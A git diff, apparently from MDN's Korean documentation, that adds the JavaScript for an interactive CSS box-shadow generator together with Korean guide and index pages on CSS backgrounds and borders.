+			var node = document.querySelector("#colorpicker " + selector);
+			var value = parseFloat(node.value);
+
+			if (typeof value === 'number' && isNaN(value) === false &&
+				value >= 0 && value <= 1)
+				color.a = value.toFixed(2);
+
+			updateUI();
+		}
+
+		var inputChangeHexa = function inputChangeHexa(topic) {
+			var selector = "[data-action='set-hexa-" + topic + "']";
+			var node = document.querySelector("#colorpicker " + selector);
+			var value = node.value;
+			color.setHexa(value);
+			color.updateHSV();
+			updateUI();
+		}
+
+		var setMouseTracking = function setMouseTracking(elem, callback) {
+
+			elem.addEventListener("mousedown", function(e) {
+				callback(e);
+				document.addEventListener("mousemove", callback);
+			});
+
+			document.addEventListener("mouseup", function(e) {
+				document.removeEventListener("mousemove", callback);
+			});
+		}
+
+		/*
+		 * Observer
+		 */
+		var setColor = function setColor(obj) {
+			if(obj instanceof Color !== true) {
+				console.log("Typeof instance not Color");
+				return;
+			}
+			color.copy(obj);
+			updateUI();
+		}
+
+		var subscribe = function subscribe(topic, callback) {
+			if (subscribers[topic] === undefined)
+				subscribers[topic] = [];
+
+			subscribers[topic].push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(topic, value) {
+			for (var i in subscribers[topic])
+				subscribers[topic][i](value);
+		}
+
+		var init = function init() {
+			colorpicker		= getElemById("colorpicker");
+			hue_area		= getElemById("hue");
+			gradient_area	= getElemById("gradient");
+			alpha_area		= getElemById("alpha");
+			gradient_picker	= getElemById("gradient_picker");
+			hue_selector	= getElemById("hue_selector");
+			alpha_selector	= getElemById("alpha_selector");
+			output_color	= getElemById("output_color");
+
+			var elem = document.querySelectorAll('#colorpicker .input');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				setInputComponent(elem[i]);
+
+			setMouseTracking(gradient_area, updateColor);
+			setMouseTracking(hue_area, updateHue);
+			setMouseTracking(alpha_area, updateAlpha);
+
+		}
+
+		return {
+			init : init,
+			setColor : setColor,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	/*
+	 * Element Class
+	 */
+	var CssClass = function CssClass(id) {
+		this.left = 0;
+		this.top = 0;
+		this.rotate = 0;
+		this.width = 300;
+		this.height = 100;
+		this.display = true;
+		this.border = true;
+		this.zIndex = -1;
+		this.bgcolor = new Color();
+		this.id = id;
+		this.node = getElemById('obj-' + id);
+		this.object = getElemById(id);
+		this.shadowID = null;
+		this.shadows = []
+		this.render = [];
+		this.init();
+	}
+
+	CssClass.prototype.init = function init() {
+		this.left = ((this.node.parentNode.clientWidth - this.node.clientWidth) / 2) | 0;
+		this.top = ((this.node.parentNode.clientHeight - this.node.clientHeight) / 2) | 0;
+
+		this.setTop(this.top);
+		this.setLeft(this.left);
+		this.setHeight(this.height);
+		this.setWidth(this.width);
+		this.bgcolor.setHSV(0, 0, 100);
+		this.updateBgColor(this.bgcolor);
+	}
+
+	CssClass.prototype.updatePos = function updatePos(deltaX, deltaY) {
+		this.left += deltaX;
+		this.top += deltaY;
+		this.node.style.top = this.top + "px";
+		this.node.style.left = this.left + "px";
+		SliderManager.setValue("left", this.left);
+		SliderManager.setValue("top", this.top);
+	}
+
+	CssClass.prototype.setLeft = function setLeft(value) {
+		this.left = value;
+		this.node.style.left = this.left + "px";
+		OutputManager.updateProperty(this.id, 'left', this.left + 'px');
+	}
+
+	CssClass.prototype.setTop = function setTop(value) {
+		this.top = value;
+		this.node.style.top = this.top + 'px';
+		OutputManager.updateProperty(this.id, 'top', this.top + 'px');
+	}
+
+	CssClass.prototype.setWidth = function setWidth(value) {
+		this.width = value;
+		this.node.style.width = this.width + 'px';
+		OutputManager.updateProperty(this.id, 'width', this.width + 'px');
+	}
+
+	CssClass.prototype.setHeight = function setHeight(value) {
+		this.height = value;
+		this.node.style.height = this.height + 'px';
+		OutputManager.updateProperty(this.id, 'height', this.height + 'px');
+	}
+
+	// Browser support
+	CssClass.prototype.setRotate = function setRotate(value) {
+		var cssvalue = 'rotate(' + value +'deg)';
+
+		this.node.style.transform = cssvalue;
+		this.node.style.webkitTransform = cssvalue;
+		this.node.style.msTransform = cssvalue;
+
+		if (value !== 0) {
+			if (this.rotate === 0) {
+				OutputManager.toggleProperty(this.id, 'transform', true);
+				OutputManager.toggleProperty(this.id, '-webkit-transform', true);
+				OutputManager.toggleProperty(this.id, '-ms-transform', true);
+			}
+		}
+		else {
+			OutputManager.toggleProperty(this.id, 'transform', false);
+			OutputManager.toggleProperty(this.id, '-webkit-transform', false);
+			OutputManager.toggleProperty(this.id, '-ms-transform', false);
+		}
+
+		OutputManager.updateProperty(this.id, 'transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-webkit-transform', cssvalue);
+		OutputManager.updateProperty(this.id, '-ms-transform', cssvalue);
+		this.rotate = value;
+	}
+
+	CssClass.prototype.setzIndex = function setzIndex(value) {
+		this.node.style.zIndex = value;
+		OutputManager.updateProperty(this.id, 'z-index', value);
+		this.zIndex = value;
+	}
+
+	CssClass.prototype.toggleDisplay = function toggleDisplay(value) {
+		if (typeof value !== "boolean" || this.display === value)
+			return;
+
+		this.display = value;
+		var display = this.display === true ? "block" : "none";
+		this.node.style.display = display;
+		this.object.style.display = display;
+	}
+
+	CssClass.prototype.toggleBorder = function toggleBorder(value) {
+		if (typeof value !== "boolean" || this.border === value)
+			return;
+
+		this.border = value;
+		var border = this.border === true ? "1px solid #CCC" : "none";
+		this.node.style.border = border;
+	}
+
+	CssClass.prototype.updateBgColor = function updateBgColor(color) {
+		this.bgcolor.copy(color);
+		this.node.style.backgroundColor = color.getColor();
+		OutputManager.updateProperty(this.id, 'background-color', color.getColor());
+	}
+
+	CssClass.prototype.updateShadows = function updateShadows() {
+		if (this.render.length === 0)
+			OutputManager.toggleProperty(this.id, 'box-shadow', false);
+		if (this.render.length === 1)
+			OutputManager.toggleProperty(this.id, 'box-shadow', true);
+
+		this.node.style.boxShadow = this.render.join(", ");
+		OutputManager.updateProperty(this.id, 'box-shadow', this.render.join(", \n"));
+
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+
+		var preview;
+		var classes = [];
+		var active = null;
+		var animate = false;
+
+		/*
+		 * Toll actions
+		 */
+		var addCssClass = function addCssClass(id) {
+			classes[id] = new CssClass(id);
+		}
+
+		var setActiveClass = function setActiveClass(id) {
+			active = classes[id];
+			active.shadowID = null;
+			ColoPicker.setColor(classes[id].bgcolor);
+			SliderManager.setValue("top", active.top);
+			SliderManager.setValue("left", active.left);
+			SliderManager.setValue("rotate", active.rotate);
+			SliderManager.setValue("z-index", active.zIndex);
+			SliderManager.setValue("width", active.width);
+			SliderManager.setValue("height", active.height);
+			ButtonManager.setValue("border-state", active.border);
+			active.updateShadows();
+		}
+
+		var disableClass = function disableClass(topic) {
+			classes[topic].toggleDisplay(false);
+			ButtonManager.setValue(topic, false);
+		}
+
+		var addShadow = function addShadow(position) {
+			if (animate === true)
+				return -1;
+
+			active.shadows.splice(position, 0, new Shadow());
+			active.render.splice(position, 0, null);
+		}
+
+		var swapShadow = function swapShadow(id1, id2) {
+			var x = active.shadows[id1];
+			active.shadows[id1] = active.shadows[id2];
+			active.shadows[id2] = x;
+			updateShadowCSS(id1);
+			updateShadowCSS(id2);
+		}
+
+		var deleteShadow = function deleteShadow(position) {
+			active.shadows.splice(position, 1);
+			active.render.splice(position, 1);
+			active.updateShadows();
+		}
+
+		var setActiveShadow = function setActiveShadow(id, glow) {
+			active.shadowID = id;
+			ColoPicker.setColor(active.shadows[id].color);
+			ButtonManager.setValue("inset", active.shadows[id].inset);
+			SliderManager.setValue("blur", active.shadows[id].blur);
+			SliderManager.setValue("spread", active.shadows[id].spread);
+			SliderManager.setValue("posX", active.shadows[id].posX);
+			SliderManager.setValue("posY", active.shadows[id].posY);
+			if (glow === true)
+				addGlowEffect(id);
+		}
+
+		var addGlowEffect = function addGlowEffect(id) {
+			if (animate === true)
+				return;
+
+			animate = true;
+			var store = new Shadow();
+			var shadow = active.shadows[id];
+
+			store.copy(shadow);
+			shadow.color.setRGBA(40, 125, 200, 1);
+			shadow.blur = 10;
+			shadow.spread = 10;
+
+			active.node.style.transition = "box-shadow 0.2s";
+			updateShadowCSS(id);
+
+			setTimeout(function() {
+				shadow.copy(store);
+				updateShadowCSS(id);
+				setTimeout(function() {
+					active.node.style.removeProperty("transition");
+					animate = false;
+				}, 100);
+			}, 200);
+		}
+
+		var updateActivePos = function updateActivePos(deltaX, deltaY) {
+			if (active.shadowID === null)
+				active.updatePos(deltaX, deltaY);
+			else
+				updateShadowPos(deltaX, deltaY);
+		}
+
+		/*
+		 * Shadow properties
+		 */
+		var updateShadowCSS = function updateShadowCSS(id) {
+			active.render[id] = active.shadows[id].computeCSS();
+			active.updateShadows();
+		}
+
+		var toggleShadowInset = function toggleShadowInset(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].toggleInset(value);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
+			var shadow = active.shadows[active.shadowID];
+			shadow.posX += deltaX;
+			shadow.posY += deltaY;
+			SliderManager.setValue("posX", shadow.posX);
+			SliderManager.setValue("posY", shadow.posY);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosX = function setShadowPosX(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posX = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosY = function setShadowPosY(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posY = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowBlur = function setShadowBlur(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].blur = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowSpread = function setShadowSpread(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].spread = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowColor = function updateShadowColor(color) {
+			active.shadows[active.shadowID].color.copy(color);
+			updateShadowCSS(active.shadowID);
+		}
+
+		/*
+		 * Element Properties
+		 */
+		var updateColor = function updateColor(color) {
+			if (active.shadowID === null)
+				active.updateBgColor(color);
+			else
+				updateShadowColor(color);
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+
+			ColoPicker.subscribe("color", updateColor);
+			PreviewMouseTracking.subscribe(updateActivePos);
+
+			// Affects shadows
+			ButtonManager.subscribe("inset", toggleShadowInset);
+			SliderManager.subscribe("posX", setShadowPosX);
+			SliderManager.subscribe("posY", setShadowPosY);
+			SliderManager.subscribe("blur", setShadowBlur);
+			SliderManager.subscribe("spread", setShadowSpread);
+
+			// Affects element
+			SliderManager.subscribe("top", function(value){
+				active.setTop(value);
+			});
+			SliderManager.subscribe("left", function(value){
+				active.setLeft(value);
+			});
+			SliderManager.subscribe("rotate", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setRotate(value);
+			});
+
+			SliderManager.subscribe("z-index", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setzIndex(value);
+			});
+
+			SliderManager.subscribe("width", function(value) {
+				active.setWidth(value)
+			});
+
+			SliderManager.subscribe("height", function(value) {
+				active.setHeight(value)
+			});
+
+			// Actions
+			classes['before'].top = -30;
+			classes['before'].left = -30;
+			classes['after'].top = 30;
+			classes['after'].left = 30;
+			classes['before'].toggleDisplay(false);
+			classes['after'].toggleDisplay(false);
+			ButtonManager.setValue('before', false);
+			ButtonManager.setValue('after', false);
+
+			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
+			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
+
+			ButtonManager.subscribe("border-state", function(value) {
+				active.toggleBorder(value);
+			});
+
+		}
+
+		return {
+			init 			: init,
+			addShadow		: addShadow,
+			swapShadow		: swapShadow,
+			addCssClass		: addCssClass,
+			disableClass	: disableClass,
+			deleteShadow	: deleteShadow,
+			setActiveClass	: setActiveClass,
+			setActiveShadow : setActiveShadow
+		}
+
+	})();
+
+	/**
+	 * Layer Manager
+	 */
+	var LayerManager = (function LayerManager() {
+		var stacks = [];
+		var active = {
+			node : null,
+			stack : null
+		}
+		var elements = {};
+
+		var mouseEvents = function mouseEvents(e) {
+			var node = e.target;
+			var type = node.getAttribute('data-type');
+
+			if (type === 'subject')
+				setActiveStack(stacks[node.id]);
+
+			if (type === 'disable') {
+				Tool.disableClass(node.parentNode.id);
+				setActiveStack(stacks['element']);
+			}
+
+			if (type === 'add')
+				active.stack.addLayer();
+
+			if (type === 'layer')
+				active.stack.setActiveLayer(node);
+
+			if (type === 'delete')
+				active.stack.deleteLayer(node.parentNode);
+
+			if (type === 'move-up')
+				active.stack.moveLayer(1);
+
+			if (type === 'move-down')
+				active.stack.moveLayer(-1);
+		}
+
+		var setActiveStack = function setActiveStack(stackObj) {
+			active.stack.hide();
+			active.stack = stackObj;
+			active.stack.show();
+		}
+
+		/*
+		 * Stack object
+		 */
+		var Stack = function Stack(subject) {
+			var S = document.createElement('div');
+			var title = document.createElement('div');
+			var stack = document.createElement('div');
+
+			S.className = 'container';
+			stack.className = 'stack';
+			title.className = 'title';
+			title.textContent = subject.getAttribute('data-title');
+			S.appendChild(title);
+			S.appendChild(stack);
+
+			this.id = subject.id;
+			this.container = S;
+			this.stack = stack;
+			this.subject = subject;
+			this.order = [];
+			this.uid = 0;
+			this.count = 0;
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.addLayer = function addLayer() {
+			if (Tool.addShadow(this.layerID) == -1)
+				return;
+
+			var uid = this.getUID();
+			var layer = this.createLayer(uid);
+
+			if (this.layer === null && this.stack.children.length >= 1)
+				this.layer = this.stack.children[0];
+
+			this.stack.insertBefore(layer, this.layer);
+			this.order.splice(this.layerID, 0, uid);
+			this.count++;
+			this.setActiveLayer(layer);
+		}
+
+		Stack.prototype.createLayer = function createLayer(uid) {
+			var layer = document.createElement('div');
+			var del = document.createElement('span');
+
+			layer.className = 'node';
+			layer.setAttribute('data-shid', uid);
+			layer.setAttribute('data-type', 'layer');
+			layer.textContent = 'shadow ' + uid;
+
+			del.className = 'delete';
+			del.setAttribute('data-type', 'delete');
+
+			layer.appendChild(del);
+			return layer;
+		}
+
+		Stack.prototype.getUID = function getUID() {
+			return this.uid++;
+		}
+
+		// SOLVE IE BUG
+		Stack.prototype.moveLayer = function moveLayer(direction) {
+			if (this.count <= 1 || this.layer === null)
+				return;
+			if (direction === -1 && this.layerID === (this.count - 1) )
+				return;
+			if (direction === 1 && this.layerID === 0 )
+				return;
+
+			if (direction === -1) {
+				var before = null;
+				Tool.swapShadow(this.layerID, this.layerID + 1);
+				this.swapOrder(this.layerID, this.layerID + 1);
+				this.layerID += 1;
+
+				if (this.layerID + 1 !== this.count)
+					before = this.stack.children[this.layerID + 1];
+
+				this.stack.insertBefore(this.layer, before);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+
+			if (direction === 1) {
+				Tool.swapShadow(this.layerID, this.layerID - 1);
+				this.swapOrder(this.layerID, this.layerID - 1);
+				this.layerID -= 1;
+				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+		}
+
+		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
+			var x = this.order[pos1];
+			this.order[pos1] = this.order[pos2];
+			this.order[pos2] = x;
+		}
+
+		Stack.prototype.deleteLayer = function deleteLayer(node) {
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			var index = this.order.indexOf(shadowID);
+			this.stack.removeChild(this.stack.children[index]);
+			this.order.splice(index, 1);
+			this.count--;
+
+			Tool.deleteShadow(index);
+
+			if (index > this.layerID)
+				return;
+
+			if (index == this.layerID) {
+				if (this.count >= 1) {
+					this.layerID = 0;
+					this.setActiveLayer(this.stack.children[0], true);
+				}
+				else {
+					this.layer = null;
+					this.show();
+				}
+			}
+
+			if (index < this.layerID) {
+				this.layerID--;
+				Tool.setActiveShadow(this.layerID, true);
+			}
+
+		}
+
+		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
+			elements.shadow_properties.style.display = 'block';
+			elements.element_properties.style.display = 'none';
+
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = node;
+			this.layer.setAttribute('data-active', 'layer');
+
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			this.layerID = this.order.indexOf(shadowID);
+			Tool.setActiveShadow(this.layerID, true);
+		}
+
+		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.hide = function hide() {
+			this.unsetActiveLayer();
+			this.subject.removeAttribute('data-active');
+			var style = this.container.style;
+			style.left = '100%';
+			style.zIndex = '0';
+		}
+
+		Stack.prototype.show = function show() {
+			elements.shadow_properties.style.display = 'none';
+			elements.element_properties.style.display = 'block';
+
+			if (this.id === 'element') {
+				elements.zIndex.style.display = 'none';
+				elements.transform_rotate.style.display = 'none';
+			}
+			else {
+				elements.zIndex.style.display = 'block';
+				elements.transform_rotate.style.display = 'block';
+			}
+
+			this.subject.setAttribute('data-active', 'subject');
+			var style = this.container.style;
+			style.left = '0';
+			style.zIndex = '10';
+			Tool.setActiveClass(this.id);
+		}
+
+		function init() {
+
+			var elem, size;
+			var layerManager = getElemById("layer_manager");
+			var layerMenu = getElemById("layer_menu");
+			var container = getElemById("stack_container");
+
+			elements.shadow_properties = getElemById('shadow_properties');
+			elements.element_properties = getElemById('element_properties');
+			elements.transform_rotate = getElemById('transform_rotate');
+			elements.zIndex = getElemById('z-index');
+
+			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
+			size = elem.length;
+
+			for (var i = 0; i < size; i++) {
+				var S = new Stack(elem[i]);
+				stacks[elem[i].id] = S;
+				container.appendChild(S.container);
+				Tool.addCssClass(elem[i].id);
+			}
+
+			active.stack = stacks['element'];
+			stacks['element'].show();
+
+			layerManager.addEventListener("click", mouseEvents);
+			layerMenu.addEventListener("click", mouseEvents);
+
+			ButtonManager.subscribe("before", function(value) {
+				if (value === false && active.stack === stacks['before'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['before'])
+					setActiveStack(stacks['before'])
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				if (value === false && active.stack === stacks['after'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['after'])
+					setActiveStack(stacks['after'])
+			});
+		}
+
+		return {
+			init : init
+		}
+	})();
+
+	/*
+	 * OutputManager
+	 */
+	var OutputManager = (function OutputManager() {
+		var classes = [];
+		var buttons = [];
+		var active = null;
+		var menu = null;
+		var button_offset = 0;
+
+		var crateOutputNode = function(topic, property) {
+
+			var prop = document.createElement('div');
+			var name = document.createElement('span');
+			var value = document.createElement('span');
+
+			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
+
+			name.textContent = '\t' + pmatch[4];
+
+			if (pmatch[3] !== undefined) {
+				name.textContent = '\t' + pmatch[2];
+				value.textContent = pmatch[3] + ';';
+			}
+
+			name.textContent += ': ';
+			prop.className = 'css-property';
+			name.className = 'name';
+			value.className = 'value';
+			prop.appendChild(name);
+			prop.appendChild(value);
+
+			classes[topic].node.appendChild(prop);
+			classes[topic].line[property] = prop;
+			classes[topic].prop[property] = value;
+		}
+
+		var OutputClass = function OutputClass(node) {
+			var topic = node.getAttribute('data-topic');
+			var prop = node.getAttribute('data-prop');
+			var name = node.getAttribute('data-name');
+			var properties = prop.split(' ');
+
+			classes[topic] = {};
+			classes[topic].node = node;
+			classes[topic].prop = [];
+			classes[topic].line = [];
+			classes[topic].button = new Button(topic);
+
+			var open_decl = document.createElement('div');
+			var end_decl = document.createElement('div');
+
+			open_decl.textContent = name + ' {';
+			end_decl.textContent = '}';
+			node.appendChild(open_decl);
+
+			for (var i in properties)
+				crateOutputNode(topic, properties[i]);
+
+			node.appendChild(end_decl);
+		}
+
+		var Button = function Button(topic) {
+			var button = document.createElement('div');
+
+			button.className = 'button';
+			button.textContent = topic;
+			button.style.left = button_offset + 'px';
+			button_offset += 100;
+
+			button.addEventListener("click", function() {
+				toggleDisplay(topic);
+			})
+
+			menu.appendChild(button);
+			return button;
+		}
+
+		var toggleDisplay = function toggleDisplay(topic) {
+			active.button.removeAttribute('data-active');
+			active.node.style.display = 'none';
+			active = classes[topic];
+			active.node.style.display = 'block';
+			active.button.setAttribute('data-active', 'true');
+		}
+
+		var toggleButton = function toggleButton(topic, value) {
+			var display = (value === true) ? 'block' : 'none';
+			classes[topic].button.style.display = display;
+
+			if (value === true)
+				toggleDisplay(topic);
+			else
+				toggleDisplay('element');
+		}
+
+		var updateProperty = function updateProperty(topic, property, data) {
+			try {
+				classes[topic].prop[property].textContent = data + ';';
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ", topic, property, data);
+			}
+		}
+
+		var toggleProperty = function toggleProperty(topic, property, value) {
+			var display = (value === true) ? 'block' : 'none';
+			try {
+				classes[topic].line[property].style.display = display;
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ",classes, topic, property, value);
+			}
+		}
+
+		var init = function init() {
+
+			menu = getElemById('menu');
+
+			var elem = document.querySelectorAll('#output .output');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				OutputClass(elem[i]);
+
+			active = classes['element'];
+			toggleDisplay('element');
+
+			ButtonManager.subscribe("before", function(value) {
+				toggleButton('before', value);
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				toggleButton('after', value);
+			});
+		}
+
+		return {
+			init : init,
+			updateProperty : updateProperty,
+			toggleProperty : toggleProperty
+		}
+
+	})();
+
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		OutputManager.init();
+		ColoPicker.init();
+		SliderManager.init();
+		LayerManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +
{{ EmbedLiveSample('box-shadow_generator', '100%', '1100px', '') }}
diff --git a/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html b/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html new file mode 100644 index 0000000000..73d1758964 --- /dev/null +++ b/files/ko/web/css/css_background_and_borders/using_css_multiple_backgrounds/index.html @@ -0,0 +1,55 @@ +--- +title: 여러개의 배경 지정하기 +slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +tags: + - CSS + - CSS Background + - Example + - Guide + - Intermediate +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +--- +

{{CSSRef}}

+ +

CSS3를 사용하면 엘리먼트에 여러개의 배경을 지정할 수 있다. 첫 번째로 지정한 배경이 가장 앞에 보이고 나중에 지정한 배경이 뒤에 보인다. 배경 색상({{ cssxref("color") }})는 맨 마지막에만 지정할 수 있다. 

+ +

여러개의 배경을 지정하는건 간단하다.

+ +
.myclass {
+  background: background1, background 2, ..., backgroundN;
+}
+
+ +

배경에 관련된 다른 속성들은 {{ cssxref("background") }} 속성에 한꺼번에 지정할 수도 있고 리스트 형태로 각각 지정할 수도 있다.  하지만  {{ cssxref("background-color") }} 속성은 리스트 형태로 지정할 수 없다. 다음과 같은 속성들은 리스트 형태로 동시에 여러개 지정할 수 있다.  {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}

+ +

예제

+ +

이 예제에서는 파이어포스 로고, 선형 그라디언트, 꽃이 그려진 사진을 한 엘리먼트에 적용해본다. 

+ +
.multi_bg_example {
+  background: url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),
+        linear-gradient(to right, rgba(255, 255, 255, 0),  rgba(255, 255, 255, 1)),
+        url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);
+  background-repeat: no-repeat, no-repeat, repeat;
+  background-position: bottom right, left, right;
+}
+
+ + + + + + + + + + +
Result
css_multibg.png
+ +

첫 번째 배경으로 지정한(리스트에서 첫번째) 파이어폭스 로고가 맨 위에 보이고 선형 그라디언트, 꽃이 그려진 사진 순서대로 보인다. {{ cssxref("background-repeat") }} 와 {{ cssxref("background-position") }}) 속성들도 리스트 형태로 지정되었는데 순서대로 해당하는 배경에 적용된다. 예를 들어 {{ cssxref("background-repeat") }} 속성 중 첫 번째 no-repeat는 첫 번째 배경인 파이어폭스 로고에 적용된다.

+ +

더 보기

+ + diff --git a/files/ko/web/css/css_backgrounds_and_borders/index.html b/files/ko/web/css/css_backgrounds_and_borders/index.html new file mode 100644 index 0000000000..4fc6295885 --- /dev/null +++ b/files/ko/web/css/css_backgrounds_and_borders/index.html @@ -0,0 +1,113 @@ +--- +title: CSS 배경 및 테두리 +slug: Web/CSS/CSS_Backgrounds_and_Borders +tags: + - CSS + - CSS Backgrounds and Borders + - Guide + - Overview + - Reference +translation_of: Web/CSS/CSS_Backgrounds_and_Borders +--- +
{{CSSRef}}
+ +

CSS Backgrounds and Borders 모듈의 스타일은 배경에 색과 이미지를 채우거나, 기타 다른 방식으로 수정할 수 있습니다. 또한 테두리를 선이나 이미지로 장식할 수 있고, 직각 뿐 아니라 원형 테두리로 만들 수도 있습니다. (추가로, 요소 박스를 그림자로 꾸밀 수도 있습니다.)

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("background")}}
  • +
  • {{cssxref("background-attachment")}}
  • +
  • {{cssxref("background-clip")}}
  • +
  • {{cssxref("background-color")}}
  • +
  • {{cssxref("background-image")}}
  • +
  • {{cssxref("background-origin")}}
  • +
  • {{cssxref("background-position")}}
  • +
  • {{cssxref("background-position-x")}}
  • +
  • {{cssxref("background-position-y")}}
  • +
  • {{cssxref("background-repeat")}}
  • +
  • {{cssxref("background-size")}}
  • +
  • {{cssxref("border")}}
  • +
  • {{cssxref("border-bottom")}}
  • +
  • {{cssxref("border-bottom-color")}}
  • +
  • {{cssxref("border-bottom-left-radius")}}
  • +
  • {{cssxref("border-bottom-right-radius")}}
  • +
  • {{cssxref("border-bottom-style")}}
  • +
  • {{cssxref("border-bottom-width")}}
  • +
  • {{cssxref("border-collapse")}}
  • +
  • {{cssxref("border-color")}}
  • +
  • {{cssxref("border-image")}}
  • +
  • {{cssxref("border-image-outset")}}
  • +
  • {{cssxref("border-image-repeat")}}
  • +
  • {{cssxref("border-image-slice")}}
  • +
  • {{cssxref("border-image-source")}}
  • +
  • {{cssxref("border-image-width")}}
  • +
  • {{cssxref("border-left")}}
  • +
  • {{cssxref("border-left-color")}}
  • +
  • {{cssxref("border-left-style")}}
  • +
  • {{cssxref("border-left-width")}}
  • +
  • {{cssxref("border-radius")}}
  • +
  • {{cssxref("border-right")}}
  • +
  • {{cssxref("border-right-color")}}
  • +
  • {{cssxref("border-right-style")}}
  • +
  • {{cssxref("border-right-width")}}
  • +
  • {{cssxref("border-style")}}
  • +
  • {{cssxref("border-top")}}
  • +
  • {{cssxref("border-top-color")}}
  • +
  • {{cssxref("border-top-left-radius")}}
  • +
  • {{cssxref("border-top-right-radius")}}
  • +
  • {{cssxref("border-top-style")}}
  • +
  • {{cssxref("border-top-width")}}
  • +
  • {{cssxref("border-width")}}
  • +
  • {{cssxref("box-shadow")}}
  • +
+
+ +

도구

+ +
+
다수의 배경 사용하기
+
하나의 요소에 여러 배경을 적용하는 법을 배웁니다.
+
배경 이미지 크기 조정하기
+
배경 이미지의 크기와 반복 여부를 설정하는 법을 배웁니다.
+
CSS로 HTML 요소에 색 입히기
+
HTML 요소에 테두리를 비롯한 색상을 CSS로 적용하는 법을 배웁니다.
+
Border-image 생성기
+
테두리 이미지를 실시간으로 확인하며 만들 수 있는 도구입니다.
+
Border-radius 생성기
+
둥근 모서리를 실시간으로 확인하며 만들 수 있는 도구입니다.
+
Box-shadow 생성기
+
요소 뒤의 그림자를 실시간으로 확인하며 만들 수 있는 도구입니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
